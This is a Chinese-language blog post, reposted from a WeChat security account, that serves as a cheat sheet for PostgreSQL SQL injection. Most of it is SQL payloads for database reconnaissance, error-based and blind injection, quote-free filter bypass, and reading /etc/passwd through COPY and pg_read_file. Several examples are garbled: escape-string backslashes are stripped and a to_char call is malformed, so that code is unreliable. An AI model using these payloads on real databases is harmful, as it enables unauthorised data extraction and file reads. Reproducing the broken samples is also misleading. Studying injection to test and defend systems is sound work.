Postgresql注入总结

admin 2021年12月18日22:16:36评论491 views字数 2618阅读8分43秒阅读模式

常用语句


// 查询当前数据库
select current_database();

// 查询当前用户
select current_user;

// 查询当前版本
select version();

// 查询数据库版本
SELECT current_setting('server_version_num');

//查看当前权限
select CURRENT_SCHEMA()

//查询表数据大小
select pg_size_pretty(pg_indexes_size('users'));


// 查询所有数据库
SELECT datname FROM pg_database WHERE datistemplate = false;
select schema_name from information_schema.schemata

// 查询当前数据库中的所有表
select * from pg_tables where schemaname = 'public';
// 这里的information_schema 是个视图,并不真实存在这个库
select table_name from information_schema.tables where table_schema='public';


// 查询列名
select column_name from information_schema.columns where table_name='表名';


特性

|| 是字符串拼接

select 1||2;

"" 双引号包裹为列名 而不是字符串

select "username" from users

支持的比较运算符还包括in 、not in、 exists 、 not exists is

select username from users where username in ("admin")

// 判断查询的结果是否有结果
select exists (select * from users where username='')

select (1=1) is true

# 不是注释符号 而是运算符号bitwise XOR

select 1#2 

支持的注释符号 /**/ --

PostgreSQL允许”逃逸”字符串

PostgreSQL 还允许 “逃逸”字符串中的内容,这是一个 PostgreSQL 对 SQL 标准的扩展。逃逸字符串语法是通过在字符串前写字母 E(大写或者小写)的方法声明的。比如 E'foo' 。当需要续行包含逃逸字符的字符串时,仅需要在第一行的开始引号前写上 E 就可以了。逃逸字符串使用的是C-风格的反斜杠()逃逸:b(退格)、f(进纸)、n(换行)、r(回车)、t(水平制表符)。此外还支持 *digits* 格式的逃逸字符(这里的 *digits* 是一个八进制字节数值),以及 x*hexdigits* 格式的逃逸字符(这里的*hexdigits* 代表十六进制字节值)。你创建的字节序列是否是服务器的字符集编码能接受的正确字符,是你自己的责任。任何其它跟在反斜杠后面的字符都当做文本看待。因此,要在字符串常量里包含反斜杠,则写两个反斜杠(\)。另外,PostgreSQL 允许用一个反斜杠来逃逸单引号('),不过,将来版本的 PostgreSQL 将不允许这么用。所以最好坚持使用符合标准的 '' 。

// 八进制
select E'167150157141155151'

// 十六进制
select E'x77x68x6fx61x6dx69'

字符串边界界定符号(可以绕过无单引号的情况)

select $$Dianne's horse$$

加解密函数

md5()
encode('111','base64')
encode('111','hex')

类型转化

postgresql 要求查询的时候 类型要一致否则会报错

如下 利用::

常用的数据类型有

字符类型 text、varchar、char

数字类型 int(int4) 、 decimal(numeric) 、bigint(int8)、smallint(int2) 、real、double

布尔类型 boolean

时间类型 timestamp 、 date 、time 、interval

select 1::varchar union select 'a'

利用 函数进行转换

select CAST('5' as char)

利用函数转换

select to_char(1234'999')
select to_date(text, text)
select to_number('12,454.8-', '99G999D9S')

获取正在查询的语句


select current_query()
select query from pg_stat_activity where datname='xx' and state ='active'

报错盲注

手段挺多的只要让运行时报错即可

// 类型转换
select case when( ascii(substring((select version()),1,1))=1 ) then 1 else (select 'aaa')::int end;

// 溢出
select exp((select case when( (select 1)=1 ) then 1 else 777 end))

// 1/0
select 1/(select case when( ascii(substring((select version()),1,1))>1 ) then 1 else 0 end)

报错注入

利用了类型转化来进行报错注入

select cast((select version()) as numeric)

Postgresql注入总结

select CAST(('zzzz'||(SELECT COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))) FROM pg_tables OFFSET 0 LIMIT 1)::text||'zzz') AS NUMERIC)

无列名注入

同其他sql语言

select b from (select null, null b, null union select * from users)

读文件


copy table(column) from '/etc/passwd'

Postgresql注入总结

select pg_read_file("/etc/passwd");


作者:BY,文章来源:http://diego.team/



Postgresql注入总结
干货|渗透学习资料大集合(书籍、工具、技术文档、视频教程)

Postgresql注入总结

Postgresql注入总结
如文章对你有帮助,请支持点下“赞”“在看”

本文始发于微信公众号(HACK之道):Postgresql 注入总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月18日22:16:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Postgresql注入总结https://cn-sec.com/archives/450017.html

发表评论

匿名网友 填写信息